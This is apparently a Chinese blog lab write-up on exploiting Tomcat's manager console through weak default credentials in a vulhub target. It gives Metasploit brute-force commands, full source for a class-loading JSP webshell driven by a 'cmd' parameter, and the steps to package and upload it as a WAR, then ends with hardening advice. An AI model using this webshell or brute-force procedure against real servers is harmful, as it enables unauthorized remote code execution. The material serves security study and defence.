服务器容器漏洞-tomcat后台弱口令war包部署
(191条消息) 漏洞复现 - - -Tomcat弱口令漏洞_干掉芹菜的博客-CSDN博客
1、介绍
名称:tomcat后台弱口令war包上传漏洞
编号:无
原理:
- tomcat应用提供了后台管理页面,管理员登录后可以直接上传war包,并自动解压可访问上传文件
- 如果网站管理员并未删除tomcat默认后台页面,也未限制公网任意ip访问,更未修改tomcat后台的默认账号密码或者说设置了弱账号密码
- 那么攻击者可以从公网访问tomcat后台页面,爆破账号密码,如果成功则可以直接上传包含木马或病毒的war包,进行攻击。
应用:tomcat
版本:vulhub中靶场8.0.43是支持的,有博客提到8.x全系列存在该漏洞
2、测试
2.1 搭建靶场
靶场:/vulhub/tomcat/tomcat8
docker-compose up -d
访问http://192.168.0.15:8080,点击Host Manager,跳转http://192.168.0.15:8080/manager/html,要求登录验证
2.2 分析
(1)直接点击,请求http://192.168.0.15:8080/manager/html,报文401
burp统计响应报文长度2775,响应体部长度2473。自定义工具统计响应报文长度2757,响应体部长度2460。主要的区别是自定义工具删除了\r字符。
(2)输入账号密码,提交。
请求中增多了Authorization字段,其值为Basic 用户名:密码形式,用户名和密码进行base64编码。
当未登录成功,响应仍然为401
burp统计响应报文长度2775,响应体部长度2473。自定义工具统计响应报文长度2757,响应体部长度2460。主要的区别是自定义工具删除了\r字符。
(3)登录成功
响应报文字符长度17965,响应体部长度17655,状态码200。自定义工具处理后的响应体部字符长度为17327
2.3 获取账号密码
vulhub该漏洞的默认账号密码为tomcat/tomcat
(1)burp爆破方式
(2)msf方式
search tomcat login
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.0.15
exploit
2.4 登录成功之后,上传war
(1)创建tomcat.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
(2)cmd打包war包
jar cvf tomcat.war tomcat.jsp
(3)上传
2.5 shell
访问如下,说明部署成功
中国蚁剑连接
3、漏洞防护
1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
4)后台管理避免弱口令。